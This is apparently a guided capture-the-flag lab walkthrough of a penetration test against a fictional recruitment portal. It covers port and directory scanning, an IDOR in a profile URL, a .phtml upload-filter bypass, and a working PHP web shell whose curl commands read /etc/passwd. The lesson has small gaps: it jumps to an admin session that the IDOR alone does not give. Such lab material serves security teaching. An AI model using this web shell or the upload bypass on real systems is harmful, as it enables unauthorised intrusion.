OSA
Task 1

Introduction

You have been hired as a penetration tester. The client runs a small web application called RecruitX, an internal recruitment portal where hiring managers post job listings, candidates submit applications, and administrators manage the workflow. The client suspects the application has security issues but does not know where. Your job is to find out.

This room walks you through a realistic web application penetration test from start to finish.

Learning Objectives

The engagement follows this path:

  1. Reconnaissance and enumeration - Discover what the application exposes
  2. Insecure Direct Object Reference (IDOR) - Access data belonging to other users
  3. Admin panel access and remote code execution - Become administrator to execute commands on the server

Each vulnerability builds on the last. This is how real-world penetration tests work: you chain smaller weaknesses together until they add up to something significant.

Prerequisites

Connecting to the Machine

Click Start Machine below. The target will be accessible at MACHINE_IP on port 80. Give it two minutes to fully boot.

You will also need the AttackBox or your own machine connected to the TryHackMe VPN. If using the AttackBox, click Start AttackBox below.

?Answer the questions below

  1. I can access the RecruitX web app.
Task 2

Recon & Enumeration

Before touching the application, let's gather as much information about the target as possible without making assumptions. This is reconnaissance: mapping what the application exposes before attempting any exploitation.

Port Scanning

Let's start by discovering what services are running on the target. Open a terminal and run an Nmap scan:

Terminal
           root@tryhackme:~# nmap -sV -sC -p- MACHINE_IP
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-27 16:40 GMT
Nmap scan report for MACHINE_IP
Host is up (0.00015s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RecruitX \xE2\x80\x94 Home
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 06:B2:88:D5:C7:67 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds
        

Four ports are open: 22 (SSH, useful later if we obtain credentials), 80 (our target web app, running Apache), 3306 (MySQL, confirming the backend database), and 8080 (an Apache default page).

Exploring the Application

Open your browser and navigate to http://MACHINE_IP. You'll see the RecruitX landing page: a navigation bar with Home, Jobs, Login, and Register, and a footer mentioning "RecruitX v2.4". This information is helpful as we may be able to find vulnerabilities associated to the software.

Directory Enumeration

Now let's discover what directories and files exist beyond the navigation bar, using Gobuster with a common wordlist:

Terminal
           root@tryhackme:~# gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://MACHINE_IP
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 21600]
/profile.php          (Status: 302) [Size: 0] 
/login.php            (Status: 200) [Size: 15107]
/admin                (Status: 301) [Size: 312] 
/dashboard.php        (Status: 302) [Size: 0] 
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================
        

This reveals several important paths:

  • /admin - An admin panel exists, but it redirects to the login page. We will need credentials to access it.
  • /uploads - An uploads directory. If we can upload files, this could be a path to code execution.
  • /profile.php and /dashboard.php - These require authentication, so we need to be logged in to access them.

Registering an Account

Several pages require authentication. Navigate to http://MACHINE_IP/login.php and log in with:

  • Email: testuser@fake.thm
  • Password: Password123

After logging in, you're redirected to /dashboard.php, showing stats like "Open Positions". Take note of the URL as you click around, particularly when viewing your own profile.

Dashboard of RecruitX website after logging in.

Now that we have created an account, let's explore the application further in the next task.

?Answer the questions below

  1. What version of the Apache server is running?
  2. What is the path to the login page?
Task 3

IDOR

Now that we have an authenticated session, let's start looking for vulnerabilities. One of the most common web application flaws is Insecure Direct Object Reference (IDOR). This occurs when the application uses a predictable identifier for things like user profiles, documents, orders, etc, without verifying whether the user requesting is authorised to access that specific object - like a hotel room with no lock, just a number.

Finding the IDOR

While logged in as your test user, click your username at the top right of the dashboard (Test) to view your profile, and look at the URL:

http://MACHINE_IP/profile.php?id=6

The application references your profile with a numeric id parameter - yours is 6. What happens if we change that number?

Testing the Vulnerability

Changing id to 1 in the browser, at http://MACHINE_IP/profile.php?id=1, returns this, the profile of Sarah:

Sarah Mitchell profile information.

Extracting Cookies

You'll need your session cookie for the next step. Get it by right-clicking the page and selecting Inspect:

Clicking on Inspect option in Firefox.

Go to the Storage tab, expand Cookies, select http://MACHINE_IP, and copy the value of the PHPSESSID cookie.

Copying Cookie value from the Firefox browser.

Now use curl with your session cookie:

Terminal
           root@tryhackme:~# curl -s -b "PHPSESSID=gs5ngd6duukc09agpdnj1o9tt2" "http://MACHINE_IP/profile.php?id=1" | grep "fw-semibold"
                        <div class="fw-semibold mt-1">Sarah Mitchell</div>
                        <div class="fw-semibold mt-1 mono">s.mitchell@recruitx.thm</div>
                        <div class="fw-semibold mt-1">March 24, 2026</div>
        

We just accessed the profile of user ID 1, Sarah Mitchell, an administrator - without any authorisation check.

Why This Matters

IDOR vulnerabilities are among the most common web application flaws. They happen because developers assume users will only access their own resources - an assumption that breaks the moment someone changes a URL parameter.

?Answer the questions below

  1. What is the name of the administrator user?
Task 4

Admin Panel Access

We are now logged in as Sarah Mitchell, the administrator. Earlier, Gobuster found an /admin path that redirected unauthenticated users to the login page. Let's see what's behind it.

Exploring the Admin Dashboard

Navigate to http://MACHINE_IP/admin as Sarah Mitchell. Most of the management pages are standard, but one stands out: /admin/upload.php - a file upload function, and a potential path to remote code execution.

Upload copmany document form.

Investigating the Upload Function

Right-click the Upload button and select Inspect to view the client-side code:

Upload button after selecting a file.

The form claims to accept PDF, DOCX, and image files via the accept attribute - a client-side restriction only. The browser enforces it, but a direct HTTP request can send whatever it wants. The page also reveals the upload destination: /uploads/documents/.

Let's create a test file that executes some code on the server.

Terminal
root@tryhackme:~# echo '<?php echo "PHP is executing"; ?>' > test.phtml

The .phtml extension was accepted. The filter blocklists .php but misses alternative extensions that Apache still executes as PHP - a common oversight.

Upload form after the file is successfully uploaded.

Let's verify the file executes by visiting http://MACHINE_IP/uploads/documents/test.phtml.

PHP file uploaded and executing on the server.

The server executed the PHP code. We can upload and execute PHP files on the server - let's use that to gain remote code execution in the next task

?Answer the questions below

  1. What is the name of the PHP file responsible for handling file upload in the RecruitX web app?
  2. What is the extension of the file that we used to test if we could upload PHP code?
Task 5

Remote Code Execution

Creating a Web Shell

A web shell is a small script that accepts commands through HTTP parameters and executes them on the server. Let's create a simple one and save it as shell.phtml:

<?php
if(isset($_GET['cmd'])) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

Now, let's upload this file and access it like we previously had done

Executing Commands

Let's verify we have code execution by running a simple command:

Terminal
root@tryhackme:~# curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=whoami"
<pre>www-data</pre>
root@tryhackme:~# curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=id"
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>

We have remote code execution, running as www-data - the default Apache user on Ubuntu.

Reading Sensitive Files

A good next step is checking /etc/passwd for the system's user accounts:

Terminal
           root@tryhackme:~# curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=cat+/etc/passwd" | grep -v "nologin"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2088  100  2088    0     0   398k      0 --:--:-- --:--:-- --:--:--  407k
<pre>root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
mysql:x:115:123:MySQL Server,,,:/nonexistent:/bin/false
</pre>
        

We've identified the system's user accounts. In a real engagement, this level of access would let us dig into configuration files for database credentials and further access.

Reading the Flag

To confirm you have completed the engagement, read the flag file on the system:

Terminal
www-data@example-hostame:~$ cat /var/www/flag.txt
{REDACTED}

?Answer the questions below

  1. What user is the web shell running as?
  2. What is the flag?
Task 6

Conclusion

Key Takeaways

  • Enumeration is everything. These vulnerabilities were discoverable because we mapped the application's structure, headers, endpoints, and behaviour before attempting exploitation.
  • Small flaws chain into big compromises. IDOR, weak password resets, and upload bypasses are well-understood, unexotic vulnerabilities. Their impact came from how they connected to each other.
  • Client-side restrictions are not security. The upload form's accept attribute and the server's extension blocklist were both bypassed. Real security requires server-side validation with an allowlist approach.
  • Think like an attacker, report like a consultant. Finding the vulnerabilities is half the job. Documenting them clearly with severity ratings and actionable remediation is what makes the engagement valuable to the client.

You have completed the guided pentest. It is time to apply what you have learned to the upcoming challenges.

?Answer the questions below

  1. I have successfully completed the room.